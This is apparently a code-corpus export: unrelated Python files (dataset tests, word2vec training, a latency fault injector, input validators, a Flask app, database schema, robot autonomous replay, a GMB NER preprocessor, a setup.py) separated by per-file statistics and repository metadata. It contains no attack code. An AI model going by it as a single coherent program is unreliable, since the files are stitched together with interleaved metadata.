import numpy as np import pytest import pytoolkit as tk def test_load_voc_od_split(data_dir): ds = tk.datasets.load_voc_od_split(data_dir / "od", split="train") assert len(ds) == 3 assert tuple(ds.metadata["class_names"]) == ("～", "〇") ann = ds.labels[0] assert ann.path == (data_dir / "od" / "JPEGImages" / "無題.jpg") assert ann.width == 768 assert ann.height == 614 assert len(ann.classes) == 1 assert ann.classes[0] == 0 assert (ann.difficults == np.array([False])).all() assert ann.bboxes[0] == pytest.approx( np.array([203 - 1, 255 - 1, 601 - 1, 355 - 1]) / [768, 614, 768, 614] )

29.318182

77

0.609302

99

645

3.858586

0.494949

0.141361

0.04712

0.073298

0.109948

0

0.079523

0.220155

645

21

78

30.714286

0.677932

0

0.058915

0

0.529412

1

0.058824

false

0

0.176471

0

0.235294

0

null

0

null

0

1

0

1

e7049881e61b190ec535a5a8eb9c0a17246cf92b

976

py

Python

training/train_word2vec.py

jodaiber/semantic_compound_splitting

6b6b8aea9c320ef3b26dca4d8345fb9a08950a42

[ "Apache-2.0" ]

17

2015-10-14T09:44:38.000Z

2021-02-19T16:45:32.000Z

training/train_word2vec.py

jodaiber/semantic_compound_splitting

6b6b8aea9c320ef3b26dca4d8345fb9a08950a42

[ "Apache-2.0" ]

null

training/train_word2vec.py

jodaiber/semantic_compound_splitting

6b6b8aea9c320ef3b26dca4d8345fb9a08950a42

[ "Apache-2.0" ]

8

2015-09-07T16:29:37.000Z

2020-08-08T05:43:12.000Z

import gensim import sys import glob import codecs from nltk.tokenize import RegexpTokenizer import glob import sys class CorpusReader(): """ Reads corpus from gzip file. """ def __init__(self, files): if isinstance(files, str): self.files = [files] else: self.files = files self.tokenizer = RegexpTokenizer(r'\w+') def __iter__(self): """ Generator that returns a list of tokens for each sentence. :return: list of tokens """ for f in self.files: print "Processing ", f for line in open(f, "r"): try: yield self.tokenizer.tokenize(line.decode("utf-8")) except: pass print "Starting W2V training..." files = glob.glob(sys.argv[1]) outfile_name = sys.argv[2] dataset = CorpusReader(files) model = gensim.models.Word2Vec(dataset, size=500, window=5, min_count=3, negative=5, workers=15) model.save(outfile_name)

21.217391

96

0.619877

124

976

4.790323

0.596774

0.060606

0.053872

0.050505

0

0.018284

0.271516

976

45

97

21.688889

0.817159

0

0.142857

0

0.053856

0

null

0.035714

0.25

null

0.071429

0

null

0

null

0

1

0

1

e7061d8b63919b39dccb98d1bd784faf7195d2c9

3,797

py

Python

gchaos/gae/datastore/latency.py

RealKinetic/echoes

e0f77ae003d3982d84c2953efeb3486ba9ab6e6d

[ "MIT" ]

null

gchaos/gae/datastore/latency.py

RealKinetic/echoes

e0f77ae003d3982d84c2953efeb3486ba9ab6e6d

[ "MIT" ]

1

2017-01-16T01:15:37.000Z

gchaos/gae/datastore/latency.py

RealKinetic/gchaos

e0f77ae003d3982d84c2953efeb3486ba9ab6e6d

[ "MIT" ]

null

# MIT License # Copyright (c) 2017 Real Kinetic # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import logging import random from random import randint from time import sleep from gchaos.chance import roll from gchaos.errors import InvalidLatencyException from gchaos.utils import get_func_info_for_path def trigger(latency_config): """Generates a chance value between 0 and 1. If the latency rate on the latency config is greather than or equal to the chance then it will trigger latencies if latencies exist on the config. It will get the latency configs next option which is based on the latency config probabilities. Args: latency_config (gchaos.config.hydrate.LatncyConfig): Datastore Latency Configuration Return: None """ if not roll(latency_config.latency_rate): return stall(latency_config.latency) def stall(latency): """Based off the latency stall for that long. The latency is a tuple if only one value is provided then stall for exactly that long. If two values are provided then stall for a random choice between those values. Args: latency (tuple(int, int): A tuple of a latency range (in milliseconds) Return: None """ if not latency: return _stall(_get_latency(latency)) def _get_latency(latency): """Check the latency field and if it's a single value tuple or an integer then return that value. If it's a 2 value tuple then get the value from the range. Otherwise raise an InvalidLatencyException. Args: latency (tuple(int,) | tuple(int, int) | int): A tuple of one or two ints or just an int. Return: None """ if isinstance(latency, tuple): if len(latency) == 1: return latency[0] return get_stall_time_from_range(latency) if isinstance(latency, int): return latency raise InvalidLatencyException(latency) def get_stall_time_from_range(latency): """Take the latency tuple and randomly choose a value that falls within that range. Args: latency (tuple(int, int)): A tuple of ints to make a range Return: int """ if len(latency) != 2: raise InvalidLatencyException(latency) min_, max_ = latency if max_ < min_: raise InvalidLatencyException(latency) return randint(min_, max_) def _stall(milli_time): """Call time.sleep with the time (in milliseconds) divided by 1000 to convert it to seconds. Args: milli_time (int): Time in milliseconds Return: None """ logging.info( "CHAOS: Starting to stall the call for {0} milliseconds".format( milli_time)) sleep(milli_time / float(1000))

28.984733

80

0.703713

538

3,797

4.905204

0.356877

0.033346

0.013642

0.021599

0.049261

0.043956

0.022736

0

0.006563

0.237556

3,797

130

81

29.207692

0.905009

0.640769

0

0.142857

0

0.046036

0

1

0.142857

false

0

0.2

0

0.514286

0

null

0

null

0

1

0

1

e70a05c0d2d574b75d4d1e02c12423cafe0f94e7

6,706

py

Python

projeto_contratacoes/ferramentas/validaDado.py

JhonatasMenezes/Projetos_Python

f1989a8cb1c428fdae98da770f8db149b8b8587d

[ "MIT" ]

3

2021-07-15T22:58:00.000Z

2022-02-18T17:42:00.000Z

projeto_contratacoes/ferramentas/validaDado.py

JhonatasMenezes/Projetos_Python

f1989a8cb1c428fdae98da770f8db149b8b8587d

[ "MIT" ]

1

2021-10-01T17:52:49.000Z

projeto_contratacoes/ferramentas/validaDado.py

JhonatasMenezes/Projetos_Python

f1989a8cb1c428fdae98da770f8db149b8b8587d

[ "MIT" ]

null

# Importando uma função que muda cor de textos no terminal, criada em outro arquivo from ferramentas.create_db import Vagas from .utilidades import textoCor """ Módulo de funções para validação de alguns dados como Nomes, CPFs e Datas de nascimento. NOTA: Todas as funções são parecidas e utilizam o mesmo princípio. Irei comentar detalhadamente apenas a primeira e, em caso de peculiaridades, farei comentários isolados na respectiva função. """ def validaNome(mensagem='Nome: '): """ Função que valida nomes de forma a verificar se todos os caracteres são letras e não outros tipos de dados. :param mensagem: recebe uma mensagem que aparece no input :return nome: retorna o nome em forma de str """ # loop para permitir nova inserção após um erro while True: try: # checagem dos dados recebidos nome = str(input(mensagem)).split() # transformo a entrada em uma lista para poder checar nomes compostos # se a lista estiver vazia gera um erro logo de início if nome == []: raise KeyboardInterrupt else: # checar se cada item na lista é composto apenas por letras for i in nome: if i.isalpha(): pass else: raise ValueError # retransformar a lista em string para o retorno nome = ' '.join(nome) # tratamento de erros except ValueError: # emitir os avisos de erro na cor vermelha textoCor('Tipo de dado inválido. Tente novamente!', 31) except KeyboardInterrupt: textoCor('Informação obrigatória. Impossível prosseguir!', 31) except: textoCor('Erro desconhecido. Tente novamente!',31) else: # após passar por todos os filtros é retornado o nome em forma de string return nome def validaCPF(mensagem='CPF (somente números): '): """ Função que valida CPFs de forma a verificar se todos os caracteres são numéricos e se não contém outros tipos de dados. Também verifica o tamanho do CPF inserido, são sendo possível validar CPFs maiores ou menores do que 11 números. :param mensagem: recebe uma mensagem que aparece no input :return cpf: retorna cpf em formato str """ while True: try: cpf = str(input(mensagem)) cpf = list(cpf.strip('')) if cpf == []: raise KeyboardInterrupt else: # checar se cada digito é um número for i in cpf: if i.isnumeric(): pass else: raise ValueError if len(cpf) > 11 or len(cpf) < 11: raise Exception cpf = ''.join(cpf) except ValueError: textoCor('Tipo de dado inválido. Tente novamente!', 31) except KeyboardInterrupt: textoCor('Informação obrigatória. Impossível prosseguir!', 31) except Exception: textoCor('Tamanho inválido. Verifique o dado digitado!', 31) except: textoCor('Erro desconhecido. Tente novamente!') else: return cpf def validaNascimento(mensagem='Data nasc. (DD/MM/AAAA): '): """ Função que valida datas de forma a verificar se todos os caracteres, entre as '/' são numéricos e não outros tipos de dados. Também verifica se o dia, mês e ano estão dentro dos limites válidos. :param mensagem: recebe uma mensagem que aparece no input :return data: retorna data em formato str """ # variável que facilita a mudança do ano atual anoAtual = 2021 while True: try: data = str(input(mensagem)) data = list(data.split('/')) if data == []: raise KeyboardInterrupt else: for i in data: if i.isnumeric(): pass else: raise ValueError # utilizo dos índices para verificar cada dado if int(data[0]) > 31: raise Exception('Dia') if int(data[1]) > 12: raise Exception('Mês') if int(data[2]) > anoAtual: raise Exception('Ano') data = '/'.join(data) except ValueError: textoCor('Tipo de dado inválido. Tente novamente!', 31) except KeyboardInterrupt: textoCor('Informação obrigatória. Impossível prosseguir!', 31) except Exception: textoCor('Conteúdo(s) - DIA, MÊS ou ANO - Inválido(s)! Verifique os dados digitados!', 31) except: textoCor('Erro desconhecido. Tente novamente!', 31) else: return data def validaVaga(mensagem='Vaga: ',inserir=False,vagaNome=str): """ Função que valida vagas de forma a verificar se a vaga existe na base de dados, sendo impossível adicionar um candidato relacionado a uma vaga inexistente. Se usada no momento de inserir uma nova vaga, retorna True para uma vaga existente e False para não existência. :param mensagem: recebe uma mensagem que aparece no input :return vaga: retorna vaga em formato str """ while True: vaga = '' try: if inserir == False: vaga = str(input(mensagem)) validar = Vagas.select() for row in validar: if vaga == row.vaga or int(vaga) == row.id: existe = True return vaga else: existe = False if existe: pass else: raise Exception else: validar = Vagas.select() for row in validar: if vagaNome == row.vaga: return True else: return False except ValueError: textoCor('Tipo de dado inválido. Tente novamente!', 31) except KeyboardInterrupt: textoCor('Informação obrigatória. Impossível prosseguir!', 31) except Exception: textoCor('Vaga não encontrada!', 31) except: textoCor('Erro desconhecido. Tente novamente!') else: return vaga

37.049724

117

0.547122

724

6,706

5.066298

0.303867

0.023991

0.026172

0.018539

0.413304

0.38904

0.343784

0.3247

0.295802

0.21783

0

0.010495

0.389055

6,706

180

118

37.255556

0.884794

0.276618

0

0.605263

0

0.157032

0

0.022222

0

1

0.035088

false

0.035088

0.017544

0

0.114035

0

null

0

null

0

1

0

1

e70bd9ff19d7c1e7715ff79da9a08db0f6d91132

1,931

py

Python

possible-new-sites/web.py

purrcat259/thargoid-search-tools

2520d295116874db9ea5c47233136b4c296d1bee

[ "MIT" ]

1

2019-10-17T08:26:19.000Z

possible-new-sites/web.py

simonamdev/thargoid-search-tools

2520d295116874db9ea5c47233136b4c296d1bee

[ "MIT" ]

null

possible-new-sites/web.py

simonamdev/thargoid-search-tools

2520d295116874db9ea5c47233136b4c296d1bee

[ "MIT" ]

null

import argparse from flask import Flask, render_template, redirect, jsonify from data import DataRetriever from flask import request from gevent.pywsgi import WSGIServer app = Flask(__name__) data_retriever = DataRetriever() def parse_distance(amount): return round(float(amount), 2) @app.route('/') def index(): return render_template('index.html') @app.route('/search', methods=['POST']) def search(): if '' in request.form.values(): print('Incorrect values passed: {}'.format(request.form)) return redirect('/') coordinates = [parse_distance(request.form['x']), parse_distance(request.form['y']), parse_distance(request.form['z'])] distances = [parse_distance(request.form['a']), parse_distance(request.form['b']), parse_distance(request.form['c'])] sites = data_retriever.get_possible_systems(coordinates=coordinates, distances=distances) print('Results: {}'.format(sites)) return render_template('results.html', sites=sites) # # @app.route('/api/search', methods=['POST']) # def search_api(): # if '' in request.form.values(): # print('Incorrect values passed: {}'.format(request.form)) # return redirect('/') # coordinates = [parse_distance(request.form['x']), parse_distance(request.form['y']), parse_distance(request.form['z'])] # sites = get_closest_systems(coordinates[0], coordinates[1], coordinates[2]) # return jsonify( # { # 'sites': sites # } # ) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument( '--debug', dest='debug', action='store_true', default=False, help='Run in debug mode') args = parser.parse_args() if args.debug: app.run(host='127.0.0.1', port=3000, debug=True, threaded=True) else: http_server = WSGIServer(('127.0.0.1', 3000), app) http_server.serve_forever()

31.145161

125

0.655101

230

1,931

5.334783

0.356522

0.116544

0.146699

0.176039

0.309698

0.267319

0

0.015219

0.183325

1,931

61

126

31.655738

0.762841

0.242879

0

0.099448

0

1

0.083333

false

0.027778

0.138889

0.055556

0.333333

0.055556

0

null

0

1

0

null

0

1

e7101a3393fb1a65a444e9c370f127ccf4bbb2a5

2,608

py

Python

multichaindb/backend/localarangodb/schema.py

mamaeo/multichaindb

7791f5fc935be40482f101b6cba3000d065ee136

[ "CC-BY-3.0", "CC0-1.0", "CC-BY-4.0" ]

null

multichaindb/backend/localarangodb/schema.py

mamaeo/multichaindb

7791f5fc935be40482f101b6cba3000d065ee136

[ "CC-BY-3.0", "CC0-1.0", "CC-BY-4.0" ]

null

multichaindb/backend/localarangodb/schema.py

mamaeo/multichaindb

7791f5fc935be40482f101b6cba3000d065ee136

[ "CC-BY-3.0", "CC0-1.0", "CC-BY-4.0" ]

null

import logging from arango.exceptions import ( CollectionCreateError ) from multichaindb import backend from multichaindb.backend.localarangodb.connection import LocalArangoDBConnection from multichaindb.backend.utils import module_dispatch_registrar logger = logging.getLogger(__name__) register_schema = module_dispatch_registrar(backend.schema) INDEXES = { 'transactions': [ (['id'], dict(unique=True, name='transaction_id')), (['asset.id'], dict(name='asset_id')), (['outputs.public_keys'], dict(name='outputs')), (['inputs.fulfills.transaction_id', 'inputs.fulfills.output_index'], dict(name='inputs')) ], 'assets': [ (['id'], dict(name='asset_id', unique=True)) ], 'blocks': [ (['height'], dict(name='height', unique=True)) ], 'metadata': [ (['id'], dict(name='transaction_id', unique=True)) ], 'utxos': [ (['transaction_id', 'output_index'], dict(name='utxo', unique=True)) ], 'pre_commit': [ (['height'], dict(name='height', unique=True)) ], 'elections': [ (['height', 'election_id'], dict(name='election_id_height', unique=True)) ], 'validators': [ (['height'], dict(name='height', unique=True)) ], 'abci_chains': [ (['height'], dict(name='height', unique=True)), (['chain_id'], dict(name='chain_id', unique=True)) ] } @register_schema(LocalArangoDBConnection) def create_database(conn, dbname): logger.info('Create database `%s`.', dbname) # TODO: read and write concerns can be declared here if not conn.conn.has_database(dbname): conn.conn.create_database(dbname) @register_schema(LocalArangoDBConnection) def create_tables(conn, dbname): for table_name in backend.schema.TABLES: # create the table # TODO: read and write concerns can be declared here try: logger.info(f'Create `{table_name}` table.') conn.conn[dbname].create_collection(name=table_name) except CollectionCreateError: logger.info(f'Collection {table_name} already exists.') # Add here new index for each collection create_indexes(conn, dbname, table_name, INDEXES[table_name]) def create_indexes(conn, dbname, collection, indexes): logger.info(f'Ensure secondary indexes for `{collection}`.') for fields, kwargs in indexes: conn.conn[dbname][collection].add_hash_index(fields, **kwargs) @register_schema(LocalArangoDBConnection) def drop_database(conn, dbname): conn.conn.delete_database(dbname)

32.6

81

0.654525

290

2,608

5.731034

0.306897

0.057762

0.030084

0.048135

0.197353

0.12154

0.049338

0

0.19862

2,608

80

82

32.6

0.795215

0.060199

0

0.21875

0

0.198692

0.023712

0

0.0125

0

1

0.0625

false

0

0.078125

0

0.140625

0

null

0

null

0

1

0

1

e715fe36ce118ed2d7e09d33b151a9028f461145

2,274

py

Python

robot/autonomous/replay.py

frc1418/2018-robot

7415c14c4e4a64432a07b77292fd6e332606103e

[ "MIT" ]

1

2018-12-16T12:50:20.000Z

robot/autonomous/replay.py

frc1418/2018-robot

7415c14c4e4a64432a07b77292fd6e332606103e

[ "MIT" ]

4

2019-01-06T22:16:05.000Z

2019-01-20T03:11:16.000Z

robot/autonomous/replay.py

frc1418/2018-robot

7415c14c4e4a64432a07b77292fd6e332606103e

[ "MIT" ]

2

2018-12-04T20:34:40.000Z

2020-01-21T20:27:38.000Z

from magicbot.state_machine import state, AutonomousStateMachine from magicbot import tunable from networktables.util import ntproperty from components import drive, arm import json class Replay(AutonomousStateMachine): """ Replay recorded control input. """ MODE_NAME = 'Replay' DEFAULT = False drive: drive.Drive arm: arm.Arm voltage = ntproperty('/robot/voltage', 1) source = tunable('') recording = None @property def compensation(self): """ Get factor by which to multiply motor speeds to account for battery depletion. When we replay recorded control input, we'll likely be at a different voltage level from when it was recorded. :return: Number by which to multiply motor speeds. """ return self.voltage / self.recording['voltage'] def on_enable(self): """ Read recorded data from file and prepare to run autonomous. """ super().on_enable() try: with open('/tmp/%s.json' % self.source, 'r') as f: self.recording = json.load(f) except FileNotFoundError: # Terminate autonomous mode self.done() self.frame = 0 @state(first=True) def run(self): """ Execute recorded instructions. """ # TODO: Rather than manually controlling components, run teleopPeriodic with recorded input. self.drive.move(-self.recording['frames'][self.frame]['joysticks'][0]['axes'][1] * self.compensation, self.recording['frames'][self.frame]['joysticks'][1]['axes'][0] * self.compensation) if self.recording['frames'][self.frame]['joysticks'][2]['buttons'][1] and not self.recording['frames'][self.frame - 1]['joysticks'][2]['buttons'][1]: self.arm.actuate_claw() if self.recording['frames'][self.frame]['joysticks'][2]['buttons'][2] and not self.recording['frames'][self.frame - 1]['joysticks'][2]['buttons'][2]: self.arm.actuate_forearm() self.arm.move(-self.recording['frames'][self.frame]['joysticks'][2]['axes'][1] * self.compensation) self.frame += 1 if self.frame == len(self.recording['frames']): self.done()

32.956522

157

0.616974

267

2,274

5.23221

0.393258

0.093057

0.108805

0.131711

0.300644

0.267717

0.201145

0.141732

0.074445

0

0.011118

0.248461

2,274

68

158

33.441176

0.806319

0.211961

0

0.055556

0

0.113555

0

0.014706

0

1

0.083333

false

0

0.138889

0

0.472222

0

null

0

null

0

1

0

1

e71b359c0d67494c780e13cabfa597df168f9567

480

py

Python

tests/test_cars.py

remi2257/little-car-ai

006f2f515d46dd9e94457c191f017a9f3d749fa8

[ "MIT" ]

2

2020-11-07T15:29:42.000Z

2022-01-18T08:59:00.000Z

tests/test_cars.py

remi2257/little-car-ai

006f2f515d46dd9e94457c191f017a9f3d749fa8

[ "MIT" ]

null

tests/test_cars.py

remi2257/little-car-ai

006f2f515d46dd9e94457c191f017a9f3d749fa8

[ "MIT" ]

null

from src.objects.Track import Track from src.usesful_func import start_pygame_headless start_pygame_headless() track = Track("tracks/tiny.tra") def test_car_human(): from src.cars.CarHuman import CarHuman car = CarHuman(track) assert car def test_car_ai(): from src.cars.CarAI import CarAI from src.objects.NeuralNet import NeuralNet nn = NeuralNet.from_path("models/raw/cnn_light.net") car = CarAI(track=track, neural_net=nn) assert car

19.2

56

0.7375

71

480

4.816901

0.43662

0.102339

0.081871

0

0.175

480

24

57

20

0.863636

0

0.142857

0

0.08125

0.05

0

0.142857

1

0.142857

false

0

0.357143

0

0.5

0

null

0

null

0

1

0

1

e71cb678c34fd8498316b8548a75c980f7e64e79

1,869

py

Python

api_advertisements/migrations/0001_initial.py

alex-fullstack/goods

e23f81389f868316d48095a2ce83209c9f255232

[ "MIT" ]

null

api_advertisements/migrations/0001_initial.py

alex-fullstack/goods

e23f81389f868316d48095a2ce83209c9f255232

[ "MIT" ]

null

api_advertisements/migrations/0001_initial.py

alex-fullstack/goods

e23f81389f868316d48095a2ce83209c9f255232

[ "MIT" ]

null

# Generated by Django 3.1.2 on 2020-11-03 11:01 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Photo', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('image', models.ImageField(upload_to='advertisements/')), ('created', models.DateTimeField(auto_now_add=True)), ], ), migrations.CreateModel( name='Tag', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=200)), ('slug', models.SlugField(unique=True)), ], ), migrations.CreateModel( name='Advertisement', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=200)), ('view_counter', models.PositiveIntegerField(blank=True, null=True)), ('description', models.TextField(blank=True, null=True)), ('price', models.DecimalField(decimal_places=2, default=0, max_digits=9)), ('created', models.DateTimeField(auto_now_add=True)), ('photo', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='photo', to='api_advertisements.photo')), ('tag', models.ManyToManyField(blank=True, related_name='tag', to='api_advertisements.Tag')), ], ), ]

40.630435

114

0.572499

185

1,869

5.648649

0.4

0.03445

0.07177

0.066029

0.362679

0.286124

0

0.018059

0.288925

1,869

45

115

41.533333

0.768247

0.024077

0

0.5

1

0

0.092755

0.025247

0

1

0

false

0

0.052632

0

0.157895

0

null

0

1

0

null

0

1

e71df5994266dd259ea2d040f060832e1c15662a

716

py

Python

outerJoin.py

eyalsus/python-fun

869315a513561e5a762ce44b65887c35c328cb37

[ "MIT" ]

null

outerJoin.py

eyalsus/python-fun

869315a513561e5a762ce44b65887c35c328cb37

[ "MIT" ]

null

outerJoin.py

eyalsus/python-fun

869315a513561e5a762ce44b65887c35c328cb37

[ "MIT" ]

null

import pandas as pd def leftOuterJoin(left_df, right_df, key): right_df['tmp'] = '@' join_df = left_df.merge(right_df[['tmp', key]], how='left', on=key) join_df = join_df[pd.isnull(join_df['tmp'])] join_df.drop('tmp', axis=1, inplace=True) right_df.drop('tmp', axis=1, inplace=True) return join_df def rightOuterJoin(left_df, right_df, key): return leftOuterJoin(right_df, left_df, key) existing_df = pd.DataFrame.from_dict([{'a': 1, 'b':2}, {'a': 11, 'b':22}, {'a': 111, 'b':222}]) new_df = pd.DataFrame.from_dict([{'a': 11, 'c':33}, {'a': 111, 'c':333}, {'a': 1111, 'c':3333}]) key = 'a' print leftOuterJoin(existing_df, new_df, key) print rightOuterJoin(existing_df, new_df, key)

34.095238

96

0.648045

121

716

3.636364

0.338843

0.095455

0.05

0.059091

0.368182

0.213636

0.113636

0

0.052117

0.142458

716

20

97

35.8

0.664495

0

0.046089

0

null

0

0.066667

null

0.133333

0

null

0

null

0

1

0

1

e72248ccaed00f614ecfd4987c6c67cfadadfcba

3,008

py

Python

transform/gmb.py

lievcin/ner_tagger

25824814de9a9998ad28198c8e5f76e2c8a1eb26

[ "Apache-2.0" ]

null

transform/gmb.py

lievcin/ner_tagger

25824814de9a9998ad28198c8e5f76e2c8a1eb26

[ "Apache-2.0" ]

null

transform/gmb.py

lievcin/ner_tagger

25824814de9a9998ad28198c8e5f76e2c8a1eb26

[ "Apache-2.0" ]

null

import os import csv from utils import check_dir, make_sentences import numpy as np import pandas as pd def transform(source_path): rows = [] sentence_count = 1 new_sentence=True for root, __subFolders, files in os.walk(source_path): for file in files: if file.endswith('.tags'): for line in open(os.path.join(root, file), encoding='utf-8'): line = line.split() if len(line) >= 5 and new_sentence==True: row = [sentence_count, line[0], line[1], line[4]] new_sentence=False rows.append(row) elif len(line) >= 5: row = [sentence_count, line[0], line[1], line[4]] rows.append(row) else: new_sentence = True sentence_count += 1 return rows, sentence_count def main(): source_path = "./data/gmb-1.0.0" columns = ["sentence_idx", "Word", "POS", "Tag"] rows, sentence_count = transform(source_path) sentence_idx = np.array(range(sentence_count)) # split into train and test files. this will help with keeping the generators simple, # plus this should really be done at the ETL stage of the pipeline anyway! test_idx = np.random.choice(np.array(range(sentence_count)), size=int(sentence_count*0.2), replace=False) train_idx = np.setdiff1d(sentence_idx,test_idx) # check that the directory to store the data exists, if not create it. check_dir("./data/processed_data/gmb/") df_train = pd.DataFrame(data=[s for s in rows if s[0] in train_idx], columns=columns) train_sentences, train_labels = make_sentences(df_train, group_col="sentence_idx", word_col="Word", tag_col="Tag") train_sentences.to_csv("./data/processed_data/gmb/train.sentences.csv", index=False, header=False) train_labels.to_csv("./data/processed_data/gmb/train.labels.csv", index=False, header=False) vocab = df_train["Word"].unique() # TODO change this to be a full list and add a frequency filter. tags = sorted(df_train["Tag"].unique(), reverse=True) with open("./data/processed_data/gmb/vocabulary.txt", "w", newline="") as f: f.write("\n".join(vocab)) with open("./data/processed_data/gmb/tags.txt", "w", newline="") as f: f.write("\n".join(tags)) del (df_train, train_sentences, train_labels, vocab, tags) check_dir("./data/processed_data/gmb/") df_test = pd.DataFrame(data=[s for s in rows if s[0] in test_idx], columns=columns) test_sentences, test_labels = make_sentences(df_test, group_col="sentence_idx", word_col="Word", tag_col="Tag") test_sentences.to_csv("./data/processed_data/gmb/test.sentences.csv", index=False, header=False) test_labels.to_csv("./data/processed_data/gmb/test.labels.csv", index=False, header=False) del (df_test, test_sentences, test_labels) if __name__ == "__main__": main()

43.594203

118

0.642287

431

3,008

4.294664

0.299304

0.063209

0.073474

0.08644

0.374932

0.34792

0.249595

0.137223

0.076715

0

0.008204

0.230053

3,008

69

119

43.594203

0.791019

0.095745

0

0.153846

0

0.149116

0.10972

0

0.014493

0

1

0.038462

false

0

0.096154

0

0.153846

0

null

0

null

0

1

0

1

e726eeeb7dc6281a3fd3249127d72c8dbc4e9b9d

936

py

Python

codenerix/migrations/0021_auto_20171218_1039.py

centrologic/django-codenerix

136d3cab1a19d2dfac810f902e3fcb5ea94e13ba

[ "Apache-2.0" ]

28

2017-02-25T01:39:34.000Z

2018-01-22T21:48:10.000Z

codenerix/migrations/0021_auto_20171218_1039.py

codenerix/django-codenerix

1fc2edb451c5cf2359e243d860940876af0cf575

[ "Apache-2.0" ]

4

2018-04-11T10:19:08.000Z

2020-02-29T18:54:36.000Z

codenerix/migrations/0021_auto_20171218_1039.py

centrologic/django-codenerix

136d3cab1a19d2dfac810f902e3fcb5ea94e13ba

[ "Apache-2.0" ]

6

2017-03-10T12:00:02.000Z

2017-11-22T20:15:42.000Z

# Generated by Django 2.0 on 2017-12-18 09:39 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('codenerix', '0020_remotelog'), ] operations = [ migrations.AddField( model_name='log', name='username', field=models.CharField(blank=True, default='', max_length=200, verbose_name='Username'), ), migrations.AddField( model_name='remotelog', name='username', field=models.CharField(blank=True, default='', max_length=200, verbose_name='Username'), ), migrations.AlterField( model_name='remotelog', name='user', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL), ), ]

30.193548

136

0.621795

101

936

5.643564

0.485149

0.084211

0.049123

0.077193

0.312281

0

0.034483

0.25641

936

30

137

31.2

0.784483

0.04594

0

0.458333

1

0

0.089787

0

1

0

false

0

0.125

0

0.25

0

null

0

1

0

null

0

1

e7275d5d85bc1f6c9b0854a1dcb76d3bdaec9f9c

598

py

Python

notebook/algorithm/template.py

qixiuai/BCGHeart

b1127fa4420b658308acd883bc11945b7fcac4df

[ "MIT" ]

null

notebook/algorithm/template.py

qixiuai/BCGHeart

b1127fa4420b658308acd883bc11945b7fcac4df

[ "MIT" ]

null

notebook/algorithm/template.py

qixiuai/BCGHeart

b1127fa4420b658308acd883bc11945b7fcac4df

[ "MIT" ]

null

from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np def find_template(signal, rr): return signal[200:400] def conv(signal, template): scores = [] template_length = len(template) signal_length = len(signal) for ind in range(signal_length-template_length): score = np.dot(signal[ind:ind+template_length], template) score = np.sqrt(score / template_length) - 300 scores.append(score) return scores def findpeaks(signal): pass if __name__ == "__main__": pass

19.290323

65

0.705686

77

598

5.103896

0.467532

0.142494

0.122137

0

0.019068

0.210702

598

30

66

19.933333

0.813559

0

0.105263

0

0.013423

0

1

0.157895

false

0.105263

0.210526

0.052632

0.473684

0.052632

0

null

0

null

0

1

0

1

e729fdcdadec47d464face84e545e740a24e49b1

2,239

py

Python

setup.py

BSalita/endplay

e99acff2e781e084f1982b336be7ee55b0417309

[ "MIT" ]

4

2021-12-07T12:30:44.000Z

2022-03-26T13:38:25.000Z

setup.py

BSalita/endplay

e99acff2e781e084f1982b336be7ee55b0417309

[ "MIT" ]

12

2021-11-15T23:06:27.000Z

2022-03-28T15:46:55.000Z

setup.py

BSalita/endplay

e99acff2e781e084f1982b336be7ee55b0417309

[ "MIT" ]

1

2021-12-07T13:28:40.000Z

#!/usr/bin/env python3 import os import pathlib from setuptools import setup, Extension from setuptools.command.build_ext import build_ext class CMakeExtension(Extension): """ Stub class to distinguish between default extensions and CMake extensions (which contain no sources as these are listed in the CMakeLists.txt file) """ def __init__(self, name): # don't invoke the original build_ext for this special extension super().__init__(name, sources=[]) class cmakeable_build_ext(build_ext): """ build_ext compatible class which detects if the extension it is to build is a CMakeExtension in which case it delegates building to the CMake executable. """ def run(self): for ext in self.extensions: if isinstance(ext, CMakeExtension): self.build_cmake(ext) super().run() def build_cmake(self, ext): cwd = pathlib.Path().absolute() # Create directory structure build_temp = pathlib.Path(self.build_temp) build_temp.mkdir(parents=True, exist_ok=True) extdir = pathlib.Path(self.get_ext_fullpath(ext.name)) extdir.mkdir(parents=True, exist_ok=True) # Check which architecture we should be building for import struct bits = struct.calcsize('P') * 8 # Setup args passed to cmake config = 'Debug' if self.debug else 'Release' cmake_config_args = [ '-DCMAKE_INSTALL_PREFIX=' + str(extdir.parent.absolute()), '-DCMAKE_BUILD_TYPE=' + config, '-DSETUPTOOLS_BUILD=1' ] if os.name == 'nt': if bits == 64: cmake_config_args.append('-A x64') elif bits == 32: cmake_config_args.append('-A Win32') else: raise RuntimeError(f"Unknown computer architecture with {bits} bits") else: if bits == 32: cmake_config_args.append('-DCOMPILE_32_BITS=1') cmake_build_args = [ "--build", ".", "--target", "install", "--config", config ] # Disable warning MSB8029 